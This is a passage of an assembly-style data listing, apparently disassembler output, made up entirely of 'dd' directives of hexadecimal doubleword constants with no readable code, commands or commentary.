0BA100FEEh, 0D202FE9Ch, 567A04A4h, 66255878h, 3B2818CFh dd 945007B1h, 609EF458h, 2863685Eh, 0D290139h, 114616B2h dd 1405DDFBh, 0EC8CE543h, 72E7802Ah, 0E94BF81Dh, 690C0C39h dd 0F8E808F0h, 0EE9C00A0h, 886DB3F9h, 253A0327h, 6A4E949Bh dd 9F630308h, 7FF35807h, 5B730141h, 7D99E27Fh, 60BED7h dd 0F125EAFBh, 1E56AFBCh, 0B9293Fh, 2CE37ED4h, 0DF7FB3A7h dd 0E1B06203h, 0E66911Bh, 0D9F76C91h, 0EC2869E0h, 2418654Ah dd 728F34Bh, 584E03A5h, 9D8AD55Dh, 11E609B0h, 0C7887360h dd 1BAC5Ch, 926141B0h, 22965FBCh, 7574E200h, 16F93829h dd 285E002Ch, 6BF31FD6h, 0B1C6DC5Dh, 0A0D1E4E5h, 1B31B2h dd 352EFB46h, 5D8E01B9h, 12D49200h, 7E54F00Dh, 7539C1BEh dd 0C18F78F1h, 1ED9F4D7h, 4ADC0800h, 72CFE083h, 0F3DCED3Ch dd 0A90F60E5h, 0C5EA866Ch, 407B603h, 354C460h, 0D5459118h dd 8900DAE4h, 29024E0Eh, 4BA3DD1Ah, 0ACDE8DEh, 7CB5E862h dd 29640440h, 1E0E0032h, 5575D553h, 950035ACh, 0A5DC4B73h dd 6F1099h, 45E97132h, 0E6F82EDDh, 0ED1C0091h, 0BFCF7A40h dd 902CF34Ch, 0DE08A834h, 724D1EC9h, 0CFE580F4h, 6A8641B9h dd 918B0901h, 0D07F087h, 0EE11C20h, 156E02D6h, 0EFE6CEE0h dd 840025DBh, 29344428h, 2D82B3Ah, 899DF799h, 3848706Ah dd 9401B0E9h, 717EC3F8h, 0D0EF5B98h, 3C69D149h, 759189h dd 62B6F887h, 2CD5A02Ah, 4188311Bh, 48F5F040h, 0F6F230DCh dd 911D8E51h, 0CC691804h, 7088730Eh, 0CB7088F4h, 5EB63B0Eh dd 1492FBh, 95D7833Ch, 5F91C78h, 5939CC5Fh, 8905E188h dd 3895AC5Dh, 0E4742400h, 7CDDF3DCh, 89D06148h, 30803CFh dd 0A3D89AF8h, 4FB1B0h, 97F44E59h, 0AE50062Ch, 0B44C7A00h dd 7FEC664Bh, 543B0692h, 39EA41F8h, 0B91BF401h, 60738927h dd 600A49FCh, 0E0CC81F5h, 2500BC42h, 0C6F88A54h, 51A28FFDh dd 92E790C8h, 4871007h, 691C4712h, 216C9C00h, 52280Eh dd 0F549EE6Ah, 0D45EB296h, 0BF198D05h, 0C021EA40h, 7180F109h dd 4CF91F82h, 0AE03DA41h, 67D6A3DEh, 0A1D90971h, 8820C47Dh dd 6EA7D3C7h, 50B8842Eh, 0DC902C02h, 810662A2h, 0C55BD774h dd 696B398Dh, 5899F061h, 1306D412h, 2D09B007h, 8D960FE0h dd 9B300398h, 7993723h, 7FA488C4h, 0E815A024h, 0FBE0408h dd 0DC068C92h, 720061D4h, 99CB7E69h, 15A8FC15h, 0F831736Bh dd 0B44BE515h, 97C9930Fh, 6084C3A7h, 65FCBA54h, 0D8612F07h dd 0E66311E9h, 4469B214h, 0F91A4010h, 1E774A44h, 15379872h dd 19012CF3h, 357C933Ah, 0AF56F416h, 0DB68A900h, 0B4D5EB97h dd 3D330AF4h, 30955E45h, 8E0801C0h, 0BC95D000h, 7D981E88h dd 0F01563CBh, 590064D7h, 4E5892E8h, 51AA0769h, 1980DF2Ch dd 0D6A56F21h, 0C8005981h, 0CA262D64h, 0C3E57A47h, 661DC55Ch dd 0DC5DA5B1h, 68911496h, 0DCE07606h, 35730361h, 55925BD5h dd 0F3A1AFA3h, 40D10246h, 1918178h, 75098E12h, 803EE511h dd 0BE2FED39h, 0B7C86Ah, 1903B80Dh, 0A3AD4E62h, 3A758800h dd 822E0836h, 872F0298h, 0F6196B79h, 0FCB0F1C3h, 0D101F057h dd 756A81AFh, 0CC22E7BFh, 92007722h, 0FBA11E15h, 24E51Bh dd 2E6C7EF8h, 0CFC41CEFh, 6A0A0F9Ch, 7E126C1Dh, 0DBF04C20h dd 0A8E7E739h, 0F1A3FF5h, 0F20965AEh, 0E5B7F980h, 8F0138C7h dd 7A09925h, 6C43EA3Fh, 4DDCA9D1h, 42CF040h, 0D8160AD7h dd 4C4F90h, 6AF865AAh, 58708A01h, 5D0E090Bh, 0F1342414h dd 0AF94C8h, 9B8B3F4Bh, 1463DCA8h, 0EBAA9A00h, 60F20A85h dd 77820983h, 28137532h, 0F258C950h, 4C113388h, 810BEFD1h dd 0AB824CFEh, 3C6807C8h, 44844241h, 7000675Eh, 30046162h dd 0B42B50h, 961B1959h, 84050DB9h, 89FA327Bh, 88E859h dd 26A8709h, 60B19B1Dh, 0FE474949h, 6F3ED343h, 7E420EFDh dd 0E46E918h, 76B46729h, 0B0916994h, 0BB60E6CCh, 7E98E28Bh dd 18F46010h, 92EE545h, 0F911B114h, 0F4F83E70h, 64048988h dd 4048C0FEh, 8B3AE7A1h, 0C4A4000Ah, 9D3514F8h, 0AD00405Dh dd 65DEB10Fh, 0FC79CBC7h, 0CEB8A324h, 0B41E0B59h, 51807D77h dd 0D0AE7141h, 0A2E5E109h dd 0F83483ECh, 9822BD40h, 0EF2D2073h, 0D301147Eh, 0D48FCD96h dd 60301FA6h, 9D8938Eh, 6099776Bh, 362040B2h, 0B0A5AFh dd 5898BD12h, 4C02A413h, 19CD6917h, 82E30C37h, 58A08FC2h dd 73BA515Fh, 0C1F2EA07h, 97B05498h, 0C3941Bh, 0BEAE95F6h dd 2A59E8D7h, 8E983458h, 0E52CC360h, 1A8A98CDh, 0D90D2465h dd 0AFB00624h, 0D200A147h, 7DEE26EBh, 4F64B9h, 96389139h dd 3EBE8A87h, 852AF704h, 0D124F56Ah, 80DFF198h, 45953811h dd 3C10A3h, 0C9F0AE76h, 3D651BA1h, 2C0078BAh, 69AFF893h dd 28D82C3h, 72EC8A55h, 34E1A054h, 0BCA0CEE5h, 0CFC6EB9Ch dd 635E5C0Ch, 2D3049h, 0B5E5F888h, 2C750EC0h, 2EC210Fh dd 0F907591h, 80053C0Bh, 6CB3F5C2h, 0D5D800D7h, 0D29CC65Dh dd 4005B1DBh, 650CBBA4h, 6EF11088h, 3120C1F8h, 0C451CC6Eh dd 3ABAEA0Eh, 0AA3D405Fh, 2996AB03h, 80AC705Bh, 0A2868CCEh dd 2C01B66Ah, 0DDF6C458h, 82E854EFh, 5E6B26BDh, 60906458h dd 48E5AE4Ch, 1154CF5h, 0AB048C3Dh, 0C092D03Eh, 0EBD6A9A4h dd 0F275897Ah, 4D88DCA0h, 1800F872h, 0E397AF25h, 4CD28CAEh dd 84269308h, 2B51007Ch, 0FFAFDE94h, 0E9A6F900h, 4486A5ABh dd 0B060B81Bh, 0B5F70974h, 4C10B0D3h, 3EF613F9h, 0ACB31000h dd 0D7F532D5h, 585D515Ah, 248AD020h, 214E87h, 0AB36F7D0h dd 6C0FBD5Ah, 40A3F93Bh, 8E095EA2h, 471C1243h, 9BBB00BEh dd 57494EAh, 54FCCE00h, 49C7E176h, 0E7B700D2h, 980D2BE8h dd 5CF2A1A0h, 78BF3C2Ch, 0B4405F8Ah, 206EA04Ah, 26770D08h dd 30F605AFh, 88072A8Fh, 71125C40h, 0D890E4A1h, 0D9E085h dd 0D0048176h, 3D560161h, 6BC65B09h, 31D01871h, 49E7618Fh dd 0B0B633BDh, 0B0FB1041h, 71040693h, 904ECE58h, 10EDDC25h dd 0C110E52Ch, 0B37FCAA1h, 22A9ECCDh, 1995B101h, 0D25CD78Bh dd 69015180h, 0AD3E14F1h, 0D611D00Ch, 947E496Fh, 3DD38038h dd 5C8C3AC7h, 0DC4B8603h, 0C0300BF5h, 0F2C1DD0h, 0C4E26242h dd 2F67F801h, 0DC40C275h, 6C03EC52h, 6B3F2176h, 4B6A90EEh dd 0AC0F05FDh, 8840DB1Dh, 833BE15Ch, 11DD3046h, 32E0291h dd 9BBE20Dh, 190FD7E6h, 0E02B2817h, 0EE884795h, 0EF482h dd 4D86D52Fh, 0CD35CF8Dh, 99EACC0Ah, 0B263905Dh, 1EF10E6Ch dd 0A3A093BBh, 565D9A7h, 5989CB1Fh, 3BE4D840h, 25C78B1Eh dd 902CD511h, 0A88BD680h, 1C4F7C8Ah, 0C039979Ch, 8E13F6DBh dd 9E011A9Ah, 0F732AA2Ch, 0D8485BD7h, 205D4B6Bh, 8AD61520h dd 12D02B4Ch, 0BC9057F8h, 60786A88h, 58862907h, 2D18092Bh dd 85496BB1h, 0BFC40905h, 0A50024DAh, 8A301721h, 0D33B6501h dd 0BC2EEAB8h, 1B73C470h, 0F8582670h, 4A756BD8h, 2C120892h dd 0CC93F9DCh, 68F1D013h, 67B50116h, 0B8A23F5Bh, 0C97060B0h dd 0EEDDDB89h, 808499A0h, 2DCB058h, 892D022Eh, 76C0E1DDh dd 0B4092C79h, 0E12A7FCh, 0A82423BBh, 0F9C1004Eh, 5029CE7Bh dd 20C0DDBh, 11D1B3FAh, 7389075Bh, 60ADCC75h, 0CED79D76h dd 8A32A500h, 2BCBA9A4h, 8CE1073Dh, 10E946EEh, 0C47D3955h dd 0E40C680Fh, 4472E06Ch, 0A11BF57Bh, 5EC4E7E0h, 0BC883222h dd 0B123DAD0h, 2917C51h, 0B0B4ABAFh, 861F4E0h, 3337E4E5h dd 8A0ED97Dh, 801D97CFh, 882581DBh, 0BC450098h, 54B1EA4Bh dd 85C052Dh, 3F06003Ch, 0CEE16904h, 12127EBAh, 0C034E616h dd 2F82F438h, 450A58F4h, 889D8CD5h, 0CB911A41h, 1F6DC434h dd 11D226h, 71C2F8BBh, 437192B5h, 0F1A2B01Fh, 0FBB41C38h dd 8069564Fh, 6626DDA7h, 66D04835h, 2CBE1877h, 64C61846h dd 445F2E00h, 95DE0E87h, 40FB1442h, 33001C91h, 0FD85B49Bh dd 2D0ED7EFh, 983E9C09h, 0F38E4040h, 791D29BEh, 0E1830D8h dd 95034FE0h, 63B99035h, 0DAC5F833h, 0AD7ADCh, 502684A1h dd 4361EA8Eh, 13C9539h, 9142471Eh, 5188A80Ah, 408DD98Fh dd 0C5F0B1A6h, 369786Dh, 37DE1475h, 180AEEC2h, 40559646h dd 1E341A00h, 72282A9h, 2CAAA1ABh, 0CE36D029h, 630067FDh dd 0D6D45D1Bh, 3D93CEFh, 428B4645h, 690044B3h, 0A5528E1Fh dd 63219C16h, 11DE5815h, 2E368900h, 5014C364h, 0CCE50FEh dd 7BC85895h, 47593F00h, 9137B279h, 8557FD04h, 37C24411h dd 4794A36Bh, 0D1F9F8F3h, 0C24D017Dh, 0C43686DEh, 2100D702h dd 313044CEh, 0FF7E96h, 0BE40FDE5h, 53AAE28Eh, 2F48F3Bh dd 347CA9CEh, 0D29CA009h, 5CB547h, 0ED656636h, 75981DB1h dd 0ABD98303h, 10E8A37h, 2919DF61h, 0DCBF1722h, 19CE1B40h dd 0D0272C12h, 1320C058h, 0A516E57Eh, 93E8C9E0h, 76B4D754h dd 9015730Ch, 77D11A4h, 0B7CCC4AFh, 4679C596h, 0A1073414h dd 2A073A78h, 9B8E3E09h, 51441059h, 0E3780347h, 3CE05964h dd 8056193Ch, 0EF9F53D0h, 37FD493h, 0C6738051h, 0ABB8F58Dh dd 927226B8h, 77F8CC58h, 35384764h, 1A52488h, 0BBC6317Bh dd 0F41BB594h, 0AA0250B9h, 16926507h, 0C2304340h, 0D73A206Bh dd 81C90822h, 30A38A37h, 9900AD53h, 0EB3EAD21h, 7DC8000Bh dd 3D9707A4h, 25B08261h, 5E8A8800h, 0DF14694Eh, 6051C032h dd 5042E3C0h, 757B6C01h, 1858E7DBh, 0DA99DC41h, 32606180h dd 0D79ED89h, 0C600D070h, 0DB5FAF50h, 93FC13B3h, 7B34A8ECh dd 32D7483h, 1C5835ACh, 0DCDB16CCh, 77513Eh, 0CDC807D6h dd 718928Ah, 0EB160EF0h, 3E0DF319h, 4BBD43B8h, 0D701997Ch dd 0F8E81A15h, 6EF0EF02h, 2E060054h, 639FA947h, 833094DFh dd 3B0B8142h, 22F00760h, 87120DD6h, 3C0A9017h, 4505F9E2h dd 21C5DCE8h, 0F535804Fh, 0F09F00CCh, 0D9E87141h, 0A6AC004Dh dd 67862960h, 0D43AD5C8h, 44F42452h, 3E5BE381h, 0B830996Ch dd 0A058772Bh, 0EC45AF0h, 5FEA7F1Eh, 0CA47DFAFh, 4E57701Ch dd 0AB3E24A3h, 0ACF3DF9h, 0BE488FDAh, 40A86607h, 0A0211AD5h dd 84D2BFDCh, 6D401650h, 5A88311Eh, 0E8B0C100h, 0A75CFD5Eh dd 0CF02249Ah, 0DD0B0CE4h, 0CB00AAA0h, 261B7F81h, 71E53A0Fh dd 91E41294h, 0AB7020A5h, 592412CCh, 0BF0EA839h, 4796863Ah dd 0E22B0179h, 0E43E61F6h, 945BD4AFh, 92D29800h, 5F2D7A73h dd 0A6C62415h, 11C50448h, 6CF307DEh, 870001C9h, 432061E4h dd 0AF6418CAh, 1E905945h, 0C1938607h, 0E6C056DAh, 242E3C22h dd 76B8212h, 0C5660F25h, 26B44011h, 9E63DB70h, 1F7068DBh dd 4376A948h, 0EE400E90h, 3691DC90h, 9998A4h, 5E00901Ch dd 2E08E17h, 86951BD6h, 0BF80E8CEh, 0DB48C44Bh, 6A568448h dd 12C16088h, 18C2F1D2h, 0E56871E0h, 0A22EE300h, 2F85ABE1h dd 15C40006h, 0AD03AF2Ch, 1B48985Dh, 0AC411460h, 51E0024h dd 0FC199366h, 0BB33AEFh, 6946424h, 1994448Eh, 4B09957Ch dd 90F8E210h, 0D5DF0E78h, 9C3AC30h, 0B1083F28h, 8045B840h dd 0B9C02E66h, 1F052C04h, 0DA92090Fh, 44B71404h, 60993341h dd 0EB188E4Eh, 0B7009037h, 31585F3Eh, 7700C7D7h, 48723CEAh dd 1293176Bh, 30C3AE0h, 15AB3740h, 0EC47A100h, 7731D6B3h dd 633012B5h, 5AE40A99h, 88AB6484h, 0F655CFACh, 79DEECA4h dd 0A5638D00h, 33A7CA13h, 0C2B5DB2h, 0F09009C3h, 3ADEC118h dd 224D1A9h, 4D69FC06h, 0A5C0ABFBh, 4700B088h, 0C9A89946h dd 131D2628h, 53609794h, 8FE00AA4h, 4C564080h, 5E02AC78h dd 6BE9821Ch, 1DD066DCh, 2CF9C137h, 88C46484h, 64982E38h dd 0DA1A9E00h, 75930918h dd 30B115h, 84A28BDFh, 7041917h, 438E6721h, 6064B489h dd 8836162Fh, 0DC404269h, 0F0453919h, 0AB3F6A01h, 0E6C80DC8h dd 86AC00F1h, 0C74AF46Dh, 0DF52F69Ch, 998E00C0h, 28FF68B6h dd 5092E02Ch, 14ED08E1h, 0A0A37716h, 31800F88h, 0B6C07083h dd 19AC043Dh, 80F97390h, 82991FB8h, 0C128105Dh, 59EE79C8h dd 78E56F4h, 4C630ADBh, 2B8AC05Ch, 228AD3Bh, 0E1014813h dd 949266B1h, 31805744h, 0A661D2A8h, 0F147CB89h, 0FBD8ED00h dd 1534926Bh, 90180A8h, 82AD7E00h, 9A84FD2Bh, 451900CEh dd 0C4E9B473h, 50BD3629h, 4D963162h, 0D883B0E1h, 79007D5Ch dd 773088C1h, 1F484C4h, 78349036h, 8914CB91h, 0A1E96779h dd 8837CA2Dh, 0F44C5C32h, 24CCE139h, 1244CC10h, 830C637h dd 2AD2E58h, 1CD25164h, 4413331h, 8909E79Ch, 102BB94Dh dd 88D99660h, 0E08B9140h, 2E423C7Ah, 8178EBAAh, 37B3A266h dd 123423ACh, 0E0040533h, 0AD4411F1h, 2766402Fh, 1644244h dd 0C0365033h, 2128125Ch, 0EF880880h, 0F9EC4C00h, 38AB9869h dd 917121Ch, 0E384885Dh, 63DC8409h, 35B82558h, 9297C020h dd 0C5A100A3h, 0EC616FACh, 1A1D730Bh, 0A800CA22h, 0E3332011h dd 88962216h, 58E2F22Ch, 85DD9108h, 5F0F8937h, 2B6409ACh dd 3304EC44h, 0B7C43678h, 4096BCD1h, 70864983h, 29A05F7Bh dd 0C719A238h, 8991335h, 19BE320h, 0F9466D2Fh, 0DC0A7E53h dd 0E53B6E4Dh, 58EF00C5h, 42885BC4h, 98C29890h, 99C4A084h dd 0C18500AAh, 93C4AF89h, 20902C47h, 26296120h, 433C9440h dd 1DA1213Ah, 0CF0880D1h, 367708AEh, 0D11067C3h, 5CCD4078h dd 0AA264DE0h, 0CF8AD84Ah, 0D580E0DCh, 1F9BB39h, 0A06400B7h dd 9BA3E8Ah, 8E013057h, 632823BCh, 8968B74h, 2CF40867h dd 4EC9481h, 118038DFh, 4D8A92A6h, 0F0B51B45h, 8B7D005Fh dd 0A8F7FA19h, 0F860E076h, 0DED946E9h, 991B16C9h, 0E79C455Ch dd 3F0A8022h, 0A9D41EAAh, 0F1552258h, 0E9004032h, 63B6674h dd 200A4B4h, 0E6B658C2h, 26A288FAh, 89E81D15h, 701125ADh dd 0C7D03293h, 4B60F2C8h, 0FEAE9508h, 196800AFh, 2C2FA99Bh dd 4916A3E1h, 24094037h, 93101E0Eh, 0F26A809Ch, 99AC61BEh dd 41349418h, 3AA581h, 0FDAE607Ch, 85ACE088h, 8A58C038h dd 0F0C8EA76h, 0DCA14B18h, 0E070BEh, 32096628h, 1C33E90Dh dd 7200B8F6h, 8D4B6ED7h, 0FC7838h, 81B9A052h, 0C412EF8Ch dd 40B30700h, 1179D7A6h, 9D39017Ah, 0E5C761E9h, 0A9CED888h dd 0CCB57D09h, 6E0020C1h, 925DA3h, 0FC5250D1h, 0B1E031BBh dd 9FB5A60Eh, 0CC786076h, 4A12E64h, 0BED738C1h, 8441492Dh dd 785ADADCh, 0E0914C98h, 855B1003h, 801FF54Dh, 0F733D9Ch dd 0C4ECEF79h, 5A0E4AE0h, 7D7DD6C1h, 23C0DC25h, 2E35F0h dd 66D58249h, 77FD4451h, 99AED406h, 0A20861EAh, 1F38009Ch dd 6AE291h, 0F4773F4Ch, 3EB305C9h, 0EFA0271Eh, 0FC91D880h dd 3D3A681Bh, 0D200ADA3h, 0E67F17Bh, 165DC9E1h, 2CAA8A40h dd 1DEA2183h, 0C6080038h, 0AE0AF7C4h, 0AD04BE24h, 0BAE064B4h dd 0DDE3CCC1h, 24809602h, 7F5904EAh, 1FAE134Ch, 0D30717D4h dd 314035E4h, 12910FFh, 0CE56AC6Eh, 29DEC346h, 392E0008h dd 0A6EF2C9Eh, 94F40024h, 32138B4Eh, 0DE028D89h, 350690B9h dd 0CE18E0FDh, 0CBCC315Fh, 0C8856481h, 3E00A917h, 41485DB8h dd 0D1A5BFh, 31888C32h, 7864B58Dh, 737C5C00h, 0C03ED7D6h dd 91410966h, 44E5A6ADh, 0F5C05100h, 2540EEA2h, 18104254h dd 14051633h, 0E08B7C70h, 49D0C8h, 5342F29Ch, 0C6DF078h dd 8717F800h, 12970234h, 0B0CCEE82h, 770925E4h, 18B71011h dd 3E901D24h, 9622607Ch, 1260B0F2h, 20DF848Ah, 0E414CAE4h dd 0DE669601h, 1C1AF1D3h, 0CCAEDE80h, 6A90A179h, 0C73B9B0Bh dd 0B8741B64h, 3C7DA89Fh, 7E04E19Dh, 85039377h, 0B0E82015h dd 7D16B98Ah, 0C842BFBDh, 84F1CAAFh, 8053F9F8h, 5834BF50h dd 76FD720Eh, 9C90D378h, 0B897D712h, 17C8014Bh, 555A648Ah dd 4E99EC27h, 772289C0h, 77BE949h, 7E8D5B2h, 9795406Ah dd 9231C337h, 0EE069D7h, 0C6FA9987h, 0BDEC202Fh, 3D482D86h dd 0A66D8398h, 0ED608F52h, 1F937FAh, 8ACC7BADh, 341C0892h dd 0FD458E8Ch, 3BA88430h, 0D1E7CC6Dh, 0AB45C03Eh, 0A9001873h dd 0E28B4C60h, 9076C424h, 4A5AFE3Bh, 0FF405EBDh, 91A07C48h dd 5E077194h, 0D562777Fh, 0EF2BF080h, 16F213D7h, 0DE742279h dd 65001844h, 0CACD043Fh, 0B0B77108h, 87580702h, 0F0F84989h dd 0B029FB34h, 1AC73717h, 15AA8020h, 0A7AC0067h, 0D7F01239h dd 92008841h, 146AD62Fh, 1F9367Eh, 4A17CF09h, 41CC8A3Ah dd 689142F4h, 616488B8h, 0F2A68DAFh, 72C6F499h, 76E862B8h dd 0D6CC911Fh, 0EBDFF986h, 0C604C98Dh, 0B0F57861h, 945D70C0h dd 5C761F63h, 0D9374EDAh, 9C48DD60h, 8E074234h, 60EA0FE2h dd 2B4FCD91h, 1768424h, 61F0ADBh, 6C74355Fh, 0F2721D28h dd 96693318h, 9AE5013Ah, 25CF8FD9h, 22F0F45Bh, 76D19012h dd 60889812h, 1C2EEF4h, 0DFFF6468h, 6257DCFAh, 7C3E24E0h dd 4AF9AF80h, 96AD3671h, 0E278AE8h, 9DF80CB0h, 0BCA40DF0h dd 2A667900h, 1645873h, 0BF1A2480h, 8DF116ACh, 9DB5F060h dd 72B3F900h, 0C0315E97h, 0D32309EAh, 1048B840h, 0E5518F09h dd 8034311Ch, 4B6D6260h, 0F0BCB289h, 24D0878h, 3387409Ah dd 0FFA02492h, 0C1BE237h, 3567C6E1h, 0E0B7F90h, 82D36278h dd 5A88B27Dh, 81E202ACh, 0A691E194h, 0AD1BF044h, 0F0D91229h dd 0A95A0A53h, 9062CFC0h, 861FB05h, 6E81EB3Fh, 0C7D818C6h dd 703602D4h, 0E05FE850h, 0EA705CC4h, 7FAD93Ch, 81D29BB3h dd 0C0CCB1B2h, 0E7899CF8h, 3201070h, 35EF662Bh, 7E906910h dd 0F30B58FDh, 0A37A8394h, 0E098C734h, 39C49D38h, 0D0986CD6h dd 2CE4117Bh, 0EC063C0Ch, 74793Bh, 0A2D57845h, 0E3E1032Ah dd 0BCAC350Eh, 0F3966081h, 12C3F5A1h, 41AE9710h, 58DC3C70h dd 0AC41A81Dh, 3B7808FFh, 0A3267F94h, 950600F8h, 9D3FA83h dd 9B981860h, 1237DA03h, 0DC8A76D8h, 0F094794h, 81311FB4h dd 838E2B7Eh, 3218B320h, 0AB31E73Ch, 656B5701h, 118019ACh dd 5E3FA4h, 76E3862Bh, 71B3BB09h, 65F12474h, 0B9961E2Ch dd 0FC9064A7h, 330F3650h, 0E78A85h, 2B53EFACh, 9C1B0090h dd 0A1BEA6D4h, 14F2406Fh, 0AFCD8107h, 0B181742Ah, 472176A7h dd 0EBD4E0h, 588816C0h, 9177663Dh, 28123530h, 0C9CAB8h dd 0D3426562h, 0E72B56EBh, 0AFA42C0Eh, 30378D77h, 0C6814986h dd 0CF5061FAh, 2003C20h, 461B4FCh, 1D3105h, 0B3AA43FEh dd 6F66BAA2h, 0F0936C00h, 0F55BE315h, 2770013h, 37C9245Fh dd 60A8958Ch, 0BF8866CAh, 0C6B00341h, 468C2EDEh, 6A9D021h dd 813BCF5Bh, 281C9300h, 8084A2A5h, 85735Dh, 9889E427h dd 0B9765AAh, 94B0EC14h, 0EA670064h, 5D5EAF57h, 0C67A1D05h dd 0D6BF809Ch, 4B2AC58Ah, 74289160h, 0EE1A83Dh, 75B17EEEh dd 2354560h, 0FF05BA1Eh, 0ADCD84C9h, 203D8822h, 1F5B9A8Dh dd 0B30127FAh, 24E92C79h, 47D45854h, 0C65703A4h, 976996B1h dd 98A9BEF0h, 0BF53272Eh, 6D739500h, 0E2F9CEACh, 1C544876h dd 3091BF06h, 3B1B612Eh, 0E3A14701h, 817C3Eh, 7D0C1EF9h dd 0BBB3A9FFh, 436C0601h, 4C97E637h, 0DC6044F5h, 0DFBC0023h dd 2C98E0AEh, 5E073E6Ch dd 0B921A27h, 9138A7E0h, 0E74700A3h, 89247F37h, 2F0736E8h dd 2EC3D110h, 6A80E047h, 7A45294h, 32E9E7DFh, 4006D3D4h dd 0CCE02804h, 26C1F29Ah, 0BEC3AD6h, 0D0AF14C0h, 660620B7h dd 31356D0Ah, 80C71950h, 87063778h, 0FA94AFBh, 1ED0F128h dd 0BE3100C0h, 8D67216h, 49C0826Ch, 0AE5E5D96h, 0B0661D89h dd 613C58D0h, 0DE615C24h, 0D7721BB9h, 319E3888h, 29230D0Dh dd 38E699E4h, 7107224Fh, 10BF967Eh, 0D0E3A03Dh, 0F3BB430Ch dd 6E2748DFh, 1D0051D3h, 738ACAF9h, 0DA343D00h, 0C3EC1A30h dd 0CD255C01h, 7204D961h, 57898D8h, 0B996E9h, 4EFC544Ch dd 67F717AFh, 8457C129h, 0BF5F053Ah, 8003645h, 90E58771h dd 0D1273007h, 99F80519h, 340A5403h, 0F032CA18h, 0B9B430h dd 5CC4FF11h, 522CAFF1h, 0BE86AE00h, 8FFB0D5Fh, 1557C26h dd 7856E41Eh, 874506B8h, 781BF69h, 99D52490h, 0AC5B0BD7h dd 75838C12h, 0B0B0E595h, 431C5F1Ch, 33036FBAh, 39E726D4h dd 988C6591h, 0FCF256A1h, 33AFB900h, 3BEA6C3Ch, 70695009h dd 9057101Dh, 0D38702B1h, 9011A64Ah, 7C7D15F4h, 59D06424h dd 17288807h, 6A521F00h, 161BEEDFh, 0BFE90A8Ch, 629C2857h dd 6E1856C0h, 7DF70A16h, 8074B007h, 7B24BF7Eh, 0F40071ECh dd 0C564A092h, 3444A1Ah, 4EC34D33h, 49013227h, 85E8DE80h dd 20213B8Fh, 55FEA980h, 6EF68963h, 0C0F31700h, 0B79FB999h dd 0F4A6071Bh, 56851AAEh, 8F03310Eh, 4F493C1Eh, 905EC072h dd 0C008A006h, 7FB70046h, 0D01C9E97h, 0B0015EDBh, 954E2755h dd 64201F04h, 0B5D18811h, 185C4C49h, 336105D6h, 35241257h dd 56F7005Bh, 4EC11481h, 91117E00h, 7C184A4Bh, 0CC0304B8h dd 90DD7BB5h, 0DEAF1768h, 3AC891h, 0B83EEC20h, 0D6B7CBDBh dd 40370C28h, 8803C521h, 33F425A4h, 0C2BDB803h, 0F9D20023h dd 4E6AB5FDh, 295557C0h, 0DFD8E4B4h, 1E37C13Eh, 700C2D0Fh dd 9B811E1h, 1A530D16h, 0C06A2405h, 242E944Bh, 860F6C0Eh dd 0D4A48309h, 0AB438318h, 27E91501h, 80084EEh, 0D83E583Dh dd 8600C48Dh, 1C2908Bh, 0AE2745Bh, 2C0D5299h, 5D044494h dd 90D91300h, 1E9D777Eh, 99E111h, 7662DDF0h, 801EEA8Eh dd 0DEC1AF86h, 0B45B2434h, 68818D3h, 0F8D1D942h, 479DD500h dd 21467DA9h, 14780B43h, 4E8AD632h, 89AF008Ch, 0F75C7EB6h dd 0CE7674E8h, 5EE47A79h, 993BE930h, 0C0EB32AEh, 9B6269D1h dd 5A7466C4h, 9289B02Ch, 0CE488518h, 3995F88Dh, 0B514870Ah dd 8F83E07Ah, 99012AF2h, 0A33C83ABh, 0D0D023AEh, 9CB499C4h dd 50F6A8C6h, 16D3854h, 0E3913C0Fh, 8086F34Ah, 1A5D4F08h dd 90B6EDC1h, 0B0873944h, 48916018h, 0CAB893ADh, 1C712B62h dd 58A5E08Ah, 30D0FCA3h, 4F7130ABh, 0FAB07E24h, 0C4C0B160h dd 18CFDCCh, 0F43E35AEh, 336A094Eh, 2B030FFCh, 897DE0BDh dd 994BAF1Ch, 80B01F1Ch, 7E3A1443h, 0DB21C3B6h, 1FAA82DFh dd 0F0400FBFh, 8C910DAEh, 4345C200h, 0EA3842DAh, 74E31FB8h dd 4DAB87AEh, 9A92D018h, 9152802h, 1288FB27h, 9107D85Eh dd 8970882Eh, 8C7F29h, 2B6E69CFh, 8E7B41DAh, 0B77EFD00h dd 0AAD0A168h, 0F1126154h, 8C476B09h, 89260DD1h, 0A0340089h dd 7AC356FAh, 0FE00616Ch, 0CD5EEB25h, 594F1354h, 92130E4h dd 0EC00EF11h, 4E2423BCh, 0A500D5D0h, 0B49D1EDBh, 1630BF54h dd 40DC38Ch, 6407134h, 814307h, 0BF8E1ADEh, 6E88BB7Eh dd 0C9DD5B00h, 3FE9BCADh, 380F66C3h, 18163154h, 5004D072h dd 0AE403B29h, 5C489425h, 0D1E0C450h, 95C8BD06h, 10F83693h dd 18DFFFACh, 90B1FD27h, 0CFF41F59h, 0A100B83Ch, 0D1E1C62Eh dd 1607ABAEh, 0D6FEB1A0h, 5E92Ch, 56F3D857h, 76A7459Ah dd 1F107A00h, 60E67C59h, 0C07E246Dh, 0ADBA0138h, 222A8EDAh dd 12805674h, 6006B391h, 1E89D226h, 15A8FBEh, 0AECB6A17h dd 0BD88C4CCh, 248DB59h, 8EDCADB8h, 7C28A428h, 2301C332h dd 94CEAF16h, 68B74018h, 9D87248h, 914BB5D0h, 0D2100834h dd 1B1DCF86h, 5EC0C675h, 0C1EDC241h, 9DDB0116h, 86CBEBA3h dd 44EAF9B6h, 36C0212Ch, 92C030BCh, 7F566704h, 0E5C0B88Dh dd 0CD4BAECh, 123D635Fh, 86F8B069h, 340FA62Ch, 822384CFh dd 0C1581136h, 44607834h, 0FB9C6671h, 9FCC0019h, 4F9A7F93h dd 3E0B457Ah, 1067095Ch, 0C0240D98h, 0EBEE8999h, 580199ACh dd 396AAE1Ah, 33D4559Dh, 8AC0A9EDh, 4E4034h, 894D8F26h dd 4916A7Eh, 10A8B64Ch, 504933EEh, 0C1D387h, 0DB8D9B42h dd 1BAE4A13h, 0AFD15420h, 2429C349h, 9CE4FB8Eh, 0AF009C78h dd 2E7EFC82h, 20E476h, 0D9CE608Eh, 0A95428D4h, 0C7DC3E01h dd 0E78A242Ch, 31AA2C41h, 0D0AF4F10h, 0E446A929h, 8B160B11h dd 589800DFh, 0B3B4F492h, 43619D00h, 0A5AC0FC9h, 281909D6h dd 4A018E77h, 0FCE9E82Fh, 0D0A406A3h, 4F82A0AAh, 546080AFh dd 88245EADh, 4CBB3014h, 0B0444074h, 4E102F81h, 0D0E31A90h dd 8D6556A8h, 14816718h, 